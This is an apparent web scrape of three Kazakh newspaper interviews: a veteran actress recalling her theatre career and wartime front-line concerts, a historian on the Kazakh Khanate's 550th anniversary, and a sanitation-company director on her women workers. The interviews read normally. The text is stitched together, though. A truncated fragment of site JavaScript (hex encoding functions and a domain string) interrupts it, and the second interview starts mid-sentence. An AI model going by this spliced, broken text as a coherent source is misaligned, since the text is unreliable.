Айша әже, мерейтойыңыз құтты болсын! Шымкентке қош келдіңіз!

–  Рахмет, айналайын! Үш-төрт жылдан бері Қызым Айгүл мен күйеу балам Сейіттің қолында Бішкекте тұрып жатырмын. Балдай тәтті немере-шөберелерім бар. Театрды сағынсам, Шымкентке келемін. Қала бұрынғыдай емес, көркейіп, гүлденген. Жұмат Шанин театры ұжымы кең де зәулім ғимаратқа көшіпті. Өнерге деген жанашырлық, қамқорлық мені қатты қуантады.

–  Қандай отбасында тәрбиелендіңіз? Балалық шағыңыз қалай өтті? Өнер сізге кімнен дарыған?

–  1916 жылы Алматы қаласында қарапайым отбасында дүниеге келіппін. Анамнан кішкентай кезімде көз жазып қалғанмын. Сондықтан болар, түр-тұлғасы, кескін-келбеті мүлдем есімде жоқ. Тіпті қолымызда фотосуреті де қалмапты. Көзін көргендер өте көрікті, ақылды келіншек болғанын айтады. Екі ағам және мен, атам Абдолла, әжем Биябанның қолында тәрбиелендік. Олар бізге жетімдіктің тауқыметін сезіндірмеді. Әкем Төкебай ән мен күйден хабары бар, өнерге жақын кісі еді. Сондай-ақ, әйгілі әнші Күләш Байсейітовамен бір көшенің бойында тұруымыз да өнерге келуіме сеп болған шығар. Үлгі етіп, бой түзеп өстік. Екі үй тату-тәтті еді, жақын араласатынбыз. Оқушы кезімде өте белсенді болдым. Мектептегі көркемөнерпаздар үйірмесіне қатысатынмын. Арманшыл едім. Бірақ әртіс боламын деген ой үш ұйықтасам түсіме кірген емес.

–  Қалай әртіс болып кеттіңіз? М. Әуезов атындағы қарашаңыраққа қалай қабылдандыңыз?

– 1933 жылы Ахмет Байтұрсынов атындағы №18 орта мектепті аяқтағаннан кейін өзімнен екі жас үлкен ағам драма театрға ертіп әкелді. Ол Халық әртісі Камал Қармысовтың қасында жүретін. Бір күні «мен бір жақсы оқу таптым. Музыкалық аспапта ойнауды, әртістік қабілетті шыңдауды үйретеді екен. Жүр, барып емтихан тапсырамыз» деп үйден ертіп әкетті. Емтиханды қалай тапсырғанымыз да әлі күнге дейін көз алдымда. Театрдың сол кездегі режиссері Носонов, директоры Беков және Мұхтар Әуезов пен Елубай Өмірзақов қабылдаған. Бізге ән айтқызып, би билетті. Ағам енді ғана қаз-қаз тұрып, тәй-тәй басқан баланың жүрісін салды. Сөйтіп, екеуміз де театр жанындағы екі жылдық студияға оқуға қабылдандық. Оқып жүріп, түрлі образдарды сомдай бастадым. Студияны үздік үлгеріммен аяқтаған ағам Әмина Өмірзақова, Хадиша Бөкейова,ағайынды Абдуллиндер, тағы басқа да талантты адамдармен бірге Ленинградтағы  М. Щепкин атындағы өнер училищесіне оқуға аттанды. Мен де бірге бармақшы болғанмын. Бірақ сол кезде драма театрда басты рөлдерді сомдап жүрген атақты Күләш Байсейітова опера театрына ауысып жатқан. Ұстаздарым «сенің дауысың қойылған, біз сені өзіміз тәрбиелейміз, Күләштің орнын басасың» деп алып қалды. Осылайша менің театрдағы жарқын күндерім басталды.

– Алғашқы рөліңіз есіңізде ме?

–  Әрине, әр актер театр сахнасына қадам басқандағы тұсауын кескен ең алғашқы рөлін ұмытпайды. Мен де сол кездегі сезімді, көңіл күйімді жадымнан шығарған емеспін. Ең бірінші ойнаған басты рөлім «Еңлік-Кебек» қойылымдағы Еңлік еді. 18 жасымда ойнадым. Қобалжып, іштей уайымдап тұрғанымды көрген Күләш Байсейітова «Қорықпа, өзіңді еркін ұста, әрбір сөзіңді айқын айт. Сенің сөзіңді ең соңғы қатарда тамашалап отырған көрермен де анық еститін болсын», –  деп ақыл-кеңесін берді. Бұл маған серпін берді. Кебектің бейнесін Жағда Өгізбаев сомдады. Жабалдың рөлін ойнаған Оразғали Жұмағұлов қан майданнан қайтпай қалды.

– Театр сахнасында қанша рөл сомдадыңыз? Қай рөліңіз жаныңызға жақын еді?

– Осы уақытқа дейін ойнаған рөлдерімді санамалап көрмеппін. 200-ден асатын болар. Әр рөл жаныма жақын. Оны сенімді шығару үшін қаншама ізденесің, тер төгесің. Сол кейіпкер болып өмір сүресің. «Қыз Жібекте» – Жібек, «Қозы Көрпеш Баян сұлуда» –  Баян», «Айман-Шолпанда»  – Айман, «Ер Тарғында»  –  Ақжүніс, тағы басқа көптеген қойылымдарда басты рөлді сомдадым. Сондай-ақ, елімізде тұңғыш рет қойылған У. Шекспирдің «Отелла» қойылымында Дездемонаны ойнадым. Бұл екінің біріне бұйыра бермейтін бақ.1947 жылы Шымкенттегі Жұмат Шанин театрына ауысып келдім. Шынымды айтсам, рөл таңдамайтынмын. Үлкен, кіші деп те бөлмейтінмін. Қандай рөл бұйырса да, барымды салдым. Кейде рөл тимей қалса, сол кейіпкерлердің сөзін іштей жаттап жүретінмін.

– Кіл марқасқалардың жанында жүрдіңіз. Олар сіздің есіңізде қандай жақсы жақтарымен қалды?

– Бейімбет Майлин киіз үй тігіп, қой сойып, әртістерді жиі қонаққа шақыратын. Ұлы арқасына мініп ап, ойнап отырса да, сол қолымен шашын артқа қайырып қойып, жазуын жазып отыра беретін. Мұхтар Әуезов «қазақтың қызы шашын екі өрім етіп өріп жүреді» деп ескерту берген. Зілсіз ғана айтқан бұл кеңесін ешуақытта ұмытқан емеспін. Серке Қожамқұлов көсемсөз оқығанда көпшілік сілтідей тынып тыңдайтын. Елубай Өмірзақов арнайы тапсырыспен жасалған домбырасын ешкімге ұстатпайтын. Тіпті туған інісі талантты әнші Керейге де. Қалибек Қуанышбаев ұзатылып бара жатқан қыздың сыңсығанын, оны қимай жылаған кемпірдің дауысын, бұдан бөлек жан-жануарлардың дауысын айнытпай салатын. Қазақ өнерінде өшпес қолтаңбасын қалдырған Шәкен Айманов, Манарбек Ержанов, Жұмат Шанин, Ришат пен Мүсілім Абдуллиндер, Сәбира Майқанова сияқты сахна саңлақтарымен бірге сахнада басты рөлдерді ойнадым. Бәрі бір-бір театр еді. Қазақтан шыққан тұңғыш әйел режиссерлердің бірі Ғайнижамал Хайруллинамен бірге жұмыс істедім. Ол «Халық әртісі» атағын алуыма үлкен үлес қосты. Оның 1958 жылы қойған төрт бірдей қойылымын мәскеулік мамандардың өзі мойындап, жоғары баға берді. Күләш Байсейітова театрдағы барлық қойылымдардың репитицияларына қатысатын. Актерлардың әр сөзді анық, айқын айтуына мән беретін. Сөйлеу мәнерін қадағалайтын. Ән үйрететін. 1936 жылы Мәскеуде қазақ әдебиеті мен өнерінің онкүндігі болды. Оған мен де бардым. Сонда небары 24 жасында Күләш Байсейітова КСРО Халық әртісі атанып, Еңбек қызыл ту орденін иеленді. Ал, Жұмат Шанин театрында Мұхтар Найманбаев, Сейiт Досмағамбетов, Мұхтар Өтебаев, Отызбай Жұмабеков, Ағман Ысырайылов, Жұмабике Серiкбаева, Ақсақал Қалмырзаев секiлдi сахна саңлақтарымен бірге жұмыс істедім. Тізе берсем, кілең жақсы-жайсаңның жанында жүрдім. Олардың мейірім-шапағатын көрдім. Осындай бақытты күндерді нәсіп еткен Аллаға мың да бір шүкіршілік айтамын.

– Соғыс жылдары да майдан даласын аралап, концерт қойған екенсіздер?

– Иә, оқ пен оттың ортасында жүріп, 1942 жылы екінші Белорусь майданында, 1945 жылы Қиыр Шығыста өнер көрсеттік. Үйдің бетін көрмей, айлап жүретінбіз. Сарышұнақ аяз бетімізді қарыса да, жан-жағымызда бомба жарылып жатса да, жауынгерлерге рух беру үшін жертөледе, әскери көліктердің үстіне ән айттық. Сонда қаңғыған оқ тиіп кетеді деп те қорықпаппыз. Қайтарда туған елін, ата-ана, сүйген жары мен қарындасын сағынған жауынгерлер хат жазып, бізден беріп жіберетін. Біз оны жол-жөнекей поштаға жөнелтумен болдық. Сондай-ақ, Манарбек Ержанов, Күләш Байсейітова, Роза Бағлановалар да концерттік бригада құрамында майдан шебіне аттанды. Енді біздің ұрпақ ондай зұлмат заманды көрмесін деп тілеймін.

– Айша әже, «Шымкент келбеті» газетінің оқырмандарына қандай тілек айтасыз?

– Ел іргесі берік болсын, халқымыз аман болсын. Қиын-қыстау күндерді бастан кешсек те, мойыған жоқпыз, мұқалған жоқпыз. 1950 жылға дейін арнайы көлігіміз болмағандықтан астық бастыру, төл алу науқандарында ат арба, өгіз арбамен жүріп, ауыл-ауылды аралап, концерттік бағдарлама қоятынбыз. Ол кезде қазіргідей зәулім мәденет үйлері де жоқ еді ғой. Егін алқаптарының басында, мал қамайтын қораларда концерт беретінбіз. Шаршап-шалдығу дегенді білмейді екенбіз сол кезде. Қаршадайымнан сахнаның киесін ұғындым. Бұл күндері ойлап қарасам, жұмысқа кешігіп немесе басқа да себептермен ескерту алмаппын. Ісіме, өнерге адал болдым. Ешкімді сыртынан ғайбат айтып, күндемедім. Өсек, өтіріктен алыс жүрдім. Қазіргі жастар жауапкершілікті терең сезінсе екен. Қиындықтан қашпаңдар!  Театр сахнасында жүрген ұл-қыздарға әлеуметтік жағынан  көбірек қолдау көрсетілуі керек. Мейірім азаймасын. Қазақ өнері, қазақ театры өрлей берсін!

– Әңгімеңізге рахмет! Көрер қызығыңыз көп болсын!

Сұхбаттасқан  Әйгерім БЕГІМБЕТ

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "oknews.kz"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

педагогикалық институтының оқу ісі жөніндегі проректоры-1  проректор міндетін атқарушы, тарих ғылымының кандидаты, доцент Исабек Баршагүл Қашқынқызын осы тақырып төңірегінде  әңгімеге тартқан едік. 

 — Баршагүл Қашқынқызы, 2015 жылы Елбасының бастамасымен Қазақ хандығының 550 жылдығы тойланғалы отыр. Шынында қазақ мемлекеттілігінің құрылуы, басталуы осы уақытты құрай ма? Бүгінге дейін тарихшыларымыздың қызу пікірталасына айналып келген мәселеге осымен нүкте қойылды деп ойлайсыз ба?

—  Ол рас, Елбасы Қазақ хандығының 550 жылдығын мемлекеттік деңгейде атап өтілу керектігін дұрыс айтты. Қазір бұл бастама көпшілік тарапынан қолдау тауып, дайындық бүгіннен басталып кетті. Дегенмен, ескеретін бір жәйт —  Қазақ хандығының құрылуын қазақтың халық ретінде қалыптасу кезеңімен шатастыруға болмайды. 15 ғасырда құрылған Қазақ хандығының негізінде қазақ халқы пайда болды деп ұғынбау керек. Елбасы Ұлытауда сөйлеген сөзінде «Біздің елдігіміз, қазақ жұртының арғы түбі ғұндардан басталады. Ғұндардан кейін көк түріктерге жалғасады. Одан кейін Алтын Орда орнығады. Сөйтіп, хандық дәуірге ұласып, кейін біртіндеп Тәуелсіздікке келіп тіреледі. Осындай үлкен тарихымыз бар. Жастарымыз мұны білуі керек. Біз кеше ғана пайда бола қалған халық емеспіз» деген еді. Қазақтың ұлт, халық ретінде пайда болу тарихы екі мыңжылдықтан асады. Сақтар, ғұндар, үйсін, қаңлылар  — бұлар қазақтың арғы ата-бабалары.  Бұрын қазақ, өзбек деп бөлінген жоқ, жалпы түркілер деп аталды. Қазақ соның құрамындағы  бір тайпа ретінде қалыптасты. Мәселен, 15-16-ғасырда  орыс мемлекеті Иван Грозныйдың кезінде ұлт ретінде қалыптасты ғой.  Қазақ халқы да ұлы көштің өркениетінен қалып қойған жоқ.  Қазақтың тарихы тым тереңде дейтініміз содан. Сондықтан Қазақ мемлекеттілігіне 550 жыл деген шешімге тоқталу орынды. Бұл бір күннің ішінде емес, қаншама жылдар бойы зерттелген, ғылыми тұжырымдамалар негізінде жасалынған қорытынды деп ұғыну керек.

— Қазақ хандығының алғашқы хандары – Керей мен Жәнібектің тарихтағы алар орны қандай? Хандардың өмірі мен тарихтағы билік құрған кезеңдері толыққанды зерттелді ме?

—  Керей мен Жәнібек хандардың өмірі толыққанды зерттеліп бітті деуге әлі ерте. Өйткені, Тәуелсіздік алғанымызға енді 23 жыл болады. Қазақ хандарының өмірін енді ғана зерттеу қолға алынып жатыр. Жалпы, Керей мен Жәнібек хандар Қазақ мемлекетінің негізін салушы тұлғалар  болып есептеледі. Олар Әбілхайыр хандығынан бөлініп, 1465 жылы Жетісу жерінде хандықтың негізін қалады. Бұл 15 ғасырдың екінші жартысы. Жалпы қазақ хандығы тарихындағы әрбір ханның орны ерекше. Қазақтың  ұлт ретінде қалыптасуын, мемлекет құрудағы хандардың рөлін, хандық құрған кезеңін тереңірек зерттеу болашақтың еншісіндегі іс.

— Қазақ хандығы қайсы хандардың тұсында өркениет пен дамуға қол жеткізді?

— Қазақ хандығындағы әр ханның өз рөлі бар. Мәселен, Қасым ханның тұсында қазақтың саны 1 миллионға жетті. Қасым ханның тұсында заңдар жүйеленіп, Есім ханның тұсында толықтырылды. Тарихта бұл «Қасым ханның қасқа жолы, Есім ханның ескі жолы» делінеді. Осылайша бұл хандар дала заңдарын бір іздендіру арқылы билік жүргізді. Әз Тәукенің тұсында -«Жеті жарғы» өмірге келді. Бұл кезең 17- ғасырдың соңы  18- ғасырдың  басы болатын. Тәуке ханның заманында «қой үстіне бозторғай жұмыртқалаған заман» болды делінеді. Яғни қазақтың жеріне көз тіккен сыртқы жаугершілік тоқтатылып, ел басына тыныштық орнады.  Қазаққа қауіп төндірген батыстан — Ресей, шығыстан — Қытай, солтүстіктен —  Еділ қалмақтары, оңтүстіктен Хиуа, Қоқан, Бұқар хандары болды. Тәуке 1718 жылы қайтыс болған соң, орнына Болат хан отырды. Алайда, осы ханның кезінде қазақ  «Ақтабан шұбырынды, Алқакөл сұламаға» ұшырады. Хан кім не айтса, соның ықпалында кетіп, билік жүргізуде әлсіздігін танытты. Хан әлсіз болған соң, кіші хандар – Ұлы жүз, Орта жүз, Кіші жүздің басшылары бас көтеріп, күшейе бастады. Ел ішінде мемлекет үшін емес, билікке талас ұлғайып, алауыздық орын алды. Ал мұндай жағдайда бірліктен мән кетіп, мемлекет ыдырайды. «Бірлігі бар ел озар, бірлігі жоқ ел тозар» деген осыдан қалған болар.

Елбасымыз өзінің әрбір сөзінде елдің бірлігі туралы не үшін жиі айтады деп ойлайсыз?  «Қазақстан-2050» стратегиясында «Үдеудің сыры — бірлікте, жүдеудің сыры — алауыздықта» деп нақтылап  жеткізді. Осының мәнін тереңірек түсінуіміз керек. Мемлекеттің тұтастығы, елдің бірлігі ауадай қажет.

Тарихтағы ерекше орны бар хандардың бірі, қазақтың басын біріктіруде үлкен рөл атқарған – Абылай хан болды.  Абылай хан 1771-1781 жылдары хандық билік жүргізді. Ол Аңырақай шайқасында көзге түсіп, тарих сахнасына шықты. Сол кездегі Әбілмәмбет ханның жанында жүріп кеңесші болып, ел билеуге ерте араласты.  Мәселен,  1740 жылы Орта жүздің Ресейге қосылуы туралы актіге хан ретінде Әбілмәмбет қол қойса, сұлтан ретінде Абылайдың қол қоюы оның үлкен тұлға екенін де көрсетеді. «Әбілмәмбет тұрғанда мен хан болмаймын» деп биліктен бас тартқан. Әбілмәмбет қайтыс болғаннан кейін ғана, билікті өз қолына алды. Халық Түркістанда ақ киізге отырғызып, хан көтерді. Бұқар жыраудың «қырық жыл хан болған ханым-ай» деген сөздері оның  хан ретінде қырық жыл билемесе де, соған татитындай билік жүргізгенін айтқан деп топшылауға болады. Қазақ хандығының соңғы ханы  — Кенесары. Ол он жыл бойы Ресей билігіне қарсы соғысты. Ол ел бірлігі,  тәуелсіздік жолында күресті. Кенесары көтерілісінің басты ерекшілігі – құрамында түрлі ұлттар болды және бүкіл Қазақстанды қамтыды. Қазақ мемлекеттілігін сақтап қалу үшін, қазақ халқының тәуелсіздігі үшін жан аяған жоқ.  Алайда, 1867-68 жылдары реформа жүргізілді де, қазақ даласын 3 генерал-губернаторлыққа бөліп тастады. Ресей империясы бұл кезде қазақ даласын билеген би-сұлтандардың арасындағы алауыздықты күшейту арқылы билігін жүргізіп отырды. Сөйтіп, бүкіл қазақ жері Ресейдің қол астына өтті. Оған дейін ел болып, қызғыштай қорғаған қазақтың жері Ресейдің мемлекеттік меншігі болып саналды. Ал бұл енді кімнің ашу-ызасын тудырмайды?  Кезінде Ресейдің осындай саясатына қарсы шыққан Алаш зиялылары да қуғын-сүргіннің құрбаны болды. «Мың өліп мың тірілген» қазақ өзінің генінің мықтылығының арқасында аман-есен бүгінгі күнге жетті.

— Жалпы қазақтың тарихын оқу орындарында міндетті пән ретінде ғана емес, тағылымды сабақ ретінде жастарға насихаттау қай деңгейде жүргізіледі?

— Әр адам өз ұлтының тарихын білуге міндетті. Мектепте, оқу орындарында міндетті пән ретінде ғана оқып қана қоймай, өткен тарихтың маңыздылығын түйсіне білу керек. Біз үшін ол үлкен сабақ. Тәуелсіздікті алу бар да, оны сақтап қалу бар. Ал оны сақтап қалу үшін бүгінгі ұрпақ саналы түрде оның мәнін түсіне білу керек.  Қазіргі жастардың бойында патриоттық сананы қалыптасыруымыз керек. Әсіресе, ата- баба тарихын білуге, кез-келген мемлекеттің арандатуына жол бермеуіне, діни мәселелерде сақ болуға, толеранттылыққа, яғни ұлтараздыққа жол бермеуге тәрбиелеуіміз керек. Мұның бәрі не үшін қажет дейсіз бе? Қазақ мемлекеттілігін сақтап қалу үшін қажет. Қазақстан жерінің аумағы 2 млн.717 мың 330 шаршы метр, яғни әлемде 9-шы орында тұр. Ал халқының саны — 15 миллион. Бұл дегеніміз бір Мәскеудің немесе бір Стамбұлдың халқы деген сөз. Қазір түрлі мәселелерді алға тартып, араға жік салушылар көбейіп кетті. Украинаның өзі мысал бола алады. Мен студенттеріме лекция барысында да жиі айтатыным да – осы. «Жеңіл-желпі сөзге еріп кетуге болмайды. Бізге тәуелсіздік қымбат. Соның құндылығын түсінуіміз керек». Сонау 90-шы жылдары қазақтың саны 40 пайызды құраса, қазір бұл көрсеткіш 65 пайызға жетті. Бәрі бірден қалпына келе салмайды. Елбасы барлық мәселеде халықты сабырға шақыра отырып, салихалы саясат жүргізіп отыр. Дамудың өзі эволюциялық және революциялық болып екіге бөлінеді. Революциямен, яғни төңкеріспен келген жеңіс көпке бармайды. Бұған көрші Қырғызстан мемлекеті дәлел бола алады. Бізге керегі эволюциялық жол. Сабырмен, ақылмен дамуға қол жеткізуіміз керек. Елбасының саясаты да — осы.

 — Тарихымызды түгендеу қолға алынғаны белгілі. Өзіңіз де айтып өттіңіз,  «Халық тарих толқынында» деген ұранмен өзіміздегі, алыс-жақын шетелдегі тарихи құжаттардың мол дерегі жиналды. Бұл шара әлі жалғасын таба ма? 

         — Шынын айту керек, бұл мәселе сол кездегі Мемлекеттік хатшы Марат Тәжиннің басшылығында жақсы қолға алынды. Қазір тоқтап қалды. Кезінде «Мәдени мұра» бағдарламасы 2004-2006 жылдарға арналды да кейін 2008 дейін созылған болатын. Сондықтан «Халық тарих толқынында»  сериясын тоқтатып қоюға болмайды. Мәселен, «Мәдени мұра» мемлекеттік бағдарламасы аясында Қытайдан, Ираннан табылған деректер енді ғылыми айналымға енгізілуде. Жуырда «Егемен Қазақстан» газетінде Жібек жолының тармақтары Ватиканнан табылғаны туралы мәлімет шықты. Қазір Алматы қаласында Р.Б. Сүлейменов атындағы Шығыстану институты  араб, парсы, түркі тілдеріндегі тарихи жазбаларды аударуды қолға алып жатыр. Егер ол толығымен аударылып бітсе, қазақтың мемлекеттілігіне қатысты көп деректерді сол жерден кездестіруге болады.  Сондықтан толыққанды зерттеу жұмыстары енді басталуда. Жиналған тарихи деректерді ғылыми айналымға түсіріп, ұрпақ игілігіне жарату керек. Көршіміз Өзбекстан елінде де қазақ тарихына қатысты қаншама деректер жатыр. Қазір  Өзбекстан республикасы мұрағаттардағы құжаттарды пайдалануға рұқсат бермей қойды. Әйтпесе Ташкентте Төле би,  Самарқан маңындағы Нұратада  Әйтеке би жерленген. Құнды деректер ол жерден шықпауы мүмкін емес. Мәселен, жуырда  Қабанбай батыр бастаған қазақ елшілерінің  300 жылқыны Қытайға апарған сапары жайындағы сурет Парижден табылды.  Осы сияқты деректер бір күні бір елден шығады. Қазір өлке тарихына көп көңіл бөлінбей жатыр. Осы бағытта ғылыми кітаптар шығарып, жастардың патриоттық сезімін күшейтуге болар еді. Облыс әкімі тарапынан тарихшы, археолог мамандарды дайындауға көңіл бөлініп, гранттар қарастырылса дейміз. Өйткені, Оңтүстік өлкесі тарихи мұраларға бай. Зерттеуді қажет ететін объектілер көп. Үздік оқитын балаларды мектеп жасынан ғылыми жобаға икемдеп, тарих мамандығын оқытуға бағыттап, мақсатты түрде дайындасақ, тарих ғылымын сәл де болса алға жылжытар едік. Елбасы өзінің «Жалпыға Ортақ еңбек қоғамына 20 қадам»  мақаласында өлке тарихына көп көңіл бөлу керектігін айтқан-ды. Алайда ол қолға алынбай жатыр. Шет елдерден әрине мол қор жиналды. Деректі жинау бар да, оны ғылыми айналымға түсіру бар. Ғылыми-зерттеу институттары осы мәселемен тікелей айналысады. Біз де қарап қалып жатқан жоқпыз, ғылыми мақалалар жазып, пікірлерімізді білдірудеміз.

— Тарихты мықты идеология құралына айналдыруға бола ма? Мәселен, Қазақ мемлекеттілігінің 550 жылдығы арқылы қазақтың тарихын әлемге әйгілей аламыз ба? 

— Әрине, тарих дегеніміз тұнып тұрған идеология. Жас ұрпақтың бойында тарихи сананы қалыптастырып,  рухы мықты азаматтарды тәрбиелеуге болады. «Торғайлардан төмен қойсақ сұңқарды, Отанды кім торғайлардан қорғайды» деген М.Шахановтың өлеңі еске түседі.  Сұңқар деп отырғаны ел тарихын жетік білетін, дәстүрін, тілін сақтайтын, өзіндік пікірі бар, рухы мықты азаматтар. Әрбір адам өз ұлтының тарихын біліп қана қоймай, оны насихаттау керек. Осы мақсатта  Оңтүстік Қазақстан мемлекеттік педагогикалық институтында Археологиялық көрме орталығы ашылған.

Елдің ертеңі – ұрпақ қолында. Егемен еліміздің болашақта өркениетті мемлекеттер санына қосылып, тәуелсіздіктің көк байрағын биік ұстауы қазіргі мектеп партасында білім алып отырған жас ұрпақтың білімі мен ақыл-парасатына, іскерлігі мен жауапкершілігіне байланысты. 2050 жылдарға қарай Қазақстанды өзге мемлекеттерге үлгі болатын дәрежеге жеткізетін зерделі ұрпақ қазір мектепте отыр. Елбасының тапсырмасымен әрбір баланың алаңсыз оқуына, әлемдік деңгейде білім алуына  жағдай жасалып отыр. «Ұстазы жақсының ұстамы жақсы», «Ұстаз талантты болса, шәкірті талапты болады» дейді халық даналығы. Сондықтан, ұстаздар қауымына артылып отырған жүк пен міндетті әрқайсымыз сезіне білуіміз керек. 77 жылдық тарихы бар, Елбасының қолдауымен қайта ашылған, ұстаздар ордасы – Оңтүстік Қазақстан мемлекеттік педагогикалық институтының ұжымы да ел және Елбасы алдындағы жауапкершілікті түсініп, үміт үдесінен шығып, сенімді ақтауға тырысамыз. Жас ұрпақты  Отаншылдыққа тәрбиелеуде  педагогтардың орны ерекше. Олай болса 2050 жылы бәсекеге қабілетті мамандар даярлау үшін мектепті күшейту керек. Ал мектептің жүрегі — мұғалім. Өйткені болашақ патриоттарды, келешекте билік басына келетін азаматтарды тәрбиелейтін үлкен күш солар. Сондықтан, мұғалімдерді дайындауға көңіл бөлу маңыздырақ. Ал мұның бәрі неден шығып отыр? Қазақ мемлекетілігінің тарихынан. Біздің тағылымды тарихымыз барда өзімізді әлемге танытудан еш тайсақтамауымыз керек. Иә, бұған дейін де Қазақстан деген мемлекеттің бар екенін шетелдер мойындайды. Ал 550 жылдық тарихи шарамыздан кейін қазақтың мемлекеттілігінің тарихын бүкіл әлемге танытуға үлкен мүмкіндік туып тұр.

— Сұхбатыңызға рахмет!

Әңгімелескен Раушан МАХЫМОВА.

«Шымкент келбеті» газеті.

Таңмен таласа тұрып, түртінектеп жүріп тірлігін бастайтын осы кәсіп иелерінің басым көпшілігін әйелдер құрайды. Күн манаурап батқанға дейін бел шешпей бейнет кешетін бұл жандар үшін «сенбі-жексенбі», «мейрам», «демалыс» деген түсінік екінші кезекке ысырылады. Мезгіл талғамайтын кәсіп иелерінің қызметтегі негізгі қағидасы бір: өркениет көшіне ілескен қаланың сән-сәулетін қалыптастыруға сүбелі үлес қосып, экологиялық ахуалды жақсартуға күш салу. Күнделікті өмірде былайғы жұрт байқай бермейтін қызғылт жейделі жандардың өзіндік қарымды қарекеті мен тіршілігінен сыр тартып білу мақсатында «ЛТД Тұрмыс» ЖШС-нің директоры Гүлнар Сапарымбетпен сұхбаттасуды жөн көрген едік. 

— Гүлнар Бертайқызы, қала тазалығына тікелей жауапты мекемеде қызмет ететін әйелдердің қоғамдағы рөлін айта кетсеңіз?

– «ЛТД Тұрмыс» ЖШС-гі негізінен, қала аумағында коммуналдық шаруашылық бағытында қызмет атқаратын ең ірі мекемелердің бірі. Қала аумағының 70 пайыз тазалығы осы мекемеге жүктеледі. Бұл бағытта мен айтар едім, нәзік жандылардың атқаратын қызметі мен өзіндік орны айрықша әспеттеуге тұрарлық-ақ. Себебі, әйел бар жерде жинақылық, тазалық, үйлесімділік пен тәртіп бар. Содан да болар, біздің мекемеде әйелдердің үлес салмағы басым. Яғни, 60 пайызды құрайды. Меніңше, коммуналдық шаруашылық саласын әйелдерсіз елестетіп көрудің өзі өте қиын. Өкінішке қарай, күнделікті өмірде байқап жүрміз, шаруашылық бағытындағы бірқатар мекемелерде жасы 35-тен асқан адамдарды қызметке алмай жатады. Олардың қажыр-қайраты, мүддесі ескерілмейді. Ал бізде көпшілігі зейнеткерлік жасқа шыққан адамдар. Әрине, жұмысы да өте ауыр. Қызметі таңғы сағат 5:00-ден басталады. Үйінділер арасында жүріп, қоқыс тазалайды. Сонда да болса, олар бір сәт қиналғанын көрсетіп, қажыған емес. Уақытының көп бөлігін олар қызмет орнында өткізуіне тура келеді. Өйткені, қарбалас қызу жұмыстың талабы осы. Көбіне ер азаматқа тән төзімділікті қажет ететін жұмысты атқарып жүрген азаматшаларымыз бұл бейнетін тек қызмет деп қана емес, абыройлы борышым деп те ұғынады. Осындай бейнетқор әйелдердің арқасында ғана біздер қаланы таза ұстай аламыз.

— Әйелдердің әлеуметтік мәселесі қаншалықты деңгейде шешілген?

— Басын ашып айта кетер бір жағдай, осы мекеменің құрылып, қалтқысыз қызмет ете бастағанына биыл 8 жыл толады. Осы жылдар ішінде мекеме қызметкерлері не түрлі ауыр кезеңдерді бастан өткерді. Мен мұнда алғашқыда агроном болып қызмет атқарсам, бертінірек, бөлім басшысы, директордың орынбасары міндеттерін де атқардым. Күні бүгінге дейін жұмысшылардың маңдай тері мен әлеуметтік ахуалын көз алдымда бағамдаумен келемін. Қазір Аллаға шүкір, жағдай біршама оңалды. Қызметкерлердің әлеуметтік жағдайына да мейлінше көп көңіл бөліне бастады. Кәсіподақ комитетімен бірлесе отырып, әсіресе, әйелдердің әлеуметтік мәселесіне назар аудардық. Бұған дейін бұл ұжымда ешқандай бір қызметкер сауықтыру-демалыс орындарына жіберілмеген екен. Осы олқылықтардың орнын толтыру үшін біз тек өткен жылда 160 адамды «Сарыағаш», «Жаңақорған», «Айгүл» демалыс үйлерінде сауықтыруға жібердік. Сондай-ақ, аз қамтылған отбасылардан 93 баланы лагерлерге жібердік. Әлеуметтік тұрғыдан мұқтаж адамдарға қосымша жәрдемақы берілді. Бұлардың барлығы олардың жағдайын көтеруге бағытталған шаралар. Мәселен, бізде тұрғылықты үйі жоқ, бес балалы ана жұмыс жасайды. Жұмысына өте ұқыпты. 7 жылдан бері, яғни, мекеменің құрылған алғашқы күнінен-ақ осында қызмет етіп келеді. Өз тарапымыздан ықпал етіп, оған жуырда «Достық» мөлтекауданынан тұрғын үй алуына жәрдем көрсеттік. Бұдан бөлек, қос бірдей студент баласы бар әйелдерге де өз мүмкіндігімізге қарай көмек көрсетудеміз.

— Жұмысшылардың талап-мүддесіне талдау жасалына ма? Ондағы кез болған ең басты кедергілер қайсы?

— Әрине. Осындағы 800 жұмысшының тағдыры – менің тағдырым. Мәселен өткен жылы біз олардың денсаулық жағдайына талдау жүргізу мақсатында ең алдымен барлығын бірдей жаппай медициналық тексеруден өткіздік. Бұл іске осындағы «Эскулап» медициналық бірлестігі қолдау көрсетті. Тексеру нәтижелері бойынша бізді алаңдатқаны, 22 адам туберкулезге шалдыққан деген күдік болды. Абырой болғанда, екеуінде ғана осы дерттің бары дәлелденді. Олардың дер кезінде ем қабылдауына өз тарапымыздан көмек бердік.

Жалпы мен жұмыс жоқ деп қол қусырып отыратын адамдардың әрекетіне онша сене бермеймін. Шын мәнінде, істеймін деген адамға жұмыс қашанда табылады. Меніңше, адал еңбек етіп тапқан наннан қадірлі ештеңе жоқ. Жұмыстың үлкен-кішісі, қадірлі-қадірсізі болмайды. Ең бастысы адал еңбектену. Көше сыпырамын деп намыстанудың қажеті жоқ. Өзім осы мекемеде қызмет атқаратынымды мақтан етемін. Және әрбір жұмысшыммен мақ­тана аламын, әрқайсысына иіліп сәлем бере­мін, алғысымды айтамын. Бұл ең қажет мекеме. Екі қолға бір күрек іздеген адамдар үшін бізде де бос жұмыс орындары бар. Көше тазалаушылар, көлік жүргізушілері қажет. Бізге қазір 300-дей жұмысшы жетіспейді. Қызметкерлеріміз 43 мың айлық жалақы алады. Сәуір айынан бастап, табысы тағы 10 пайызға жоғарыламақ.

